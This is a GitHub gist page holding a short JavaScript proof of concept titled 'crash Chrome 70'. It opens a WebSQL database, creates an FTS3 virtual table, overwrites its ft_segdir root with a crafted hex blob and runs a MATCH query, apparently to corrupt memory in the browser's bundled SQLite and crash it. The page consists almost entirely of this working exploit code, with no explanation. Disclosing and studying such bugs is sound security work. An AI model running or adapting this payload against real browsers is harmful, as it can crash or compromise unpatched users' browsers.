Skip to content

Instantly share code, notes, and snippets.

@ChiChou
Created December 16, 2018 03:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ChiChou/4cd910ac6e576d74247630c118a78f82 to your computer and use it in GitHub Desktop.
Save ChiChou/4cd910ac6e576d74247630c118a78f82 to your computer and use it in GitHub Desktop.
crash Chrome 70
const poc = `CREATE VIRTUAL TABLE ft USING fts3;
INSERT INTO ft VALUES('aback');
INSERT INTO ft VALUES('abaft');
INSERT INTO ft VALUES('abandon');
UPDATE ft_segdir SET root = x'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';
SELECT * FROM ft WHERE ft MATCH 'abandon';`;
const name = 'db' + Math.random().toString().slice(2, 5);
const db = openDatabase(name, '1.0', 'xx', 1024 * 16);
// wow so lisp such braces
const exec = sql =>
new Promise((resolve, reject) =>
db.transaction(tx =>
tx.executeSql(
sql,
[],
(tx, res) => resolve(res),
(tx, err) => reject(err)
)
)
)
const tasks = poc.split('\n').map(exec);
tasks.reduce((promiseChain, currentTask) => {
return promiseChain.then(chainResults =>
currentTask.then(currentResult =>
[ ...chainResults, currentResult ]
)
);
}, Promise.resolve([]))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment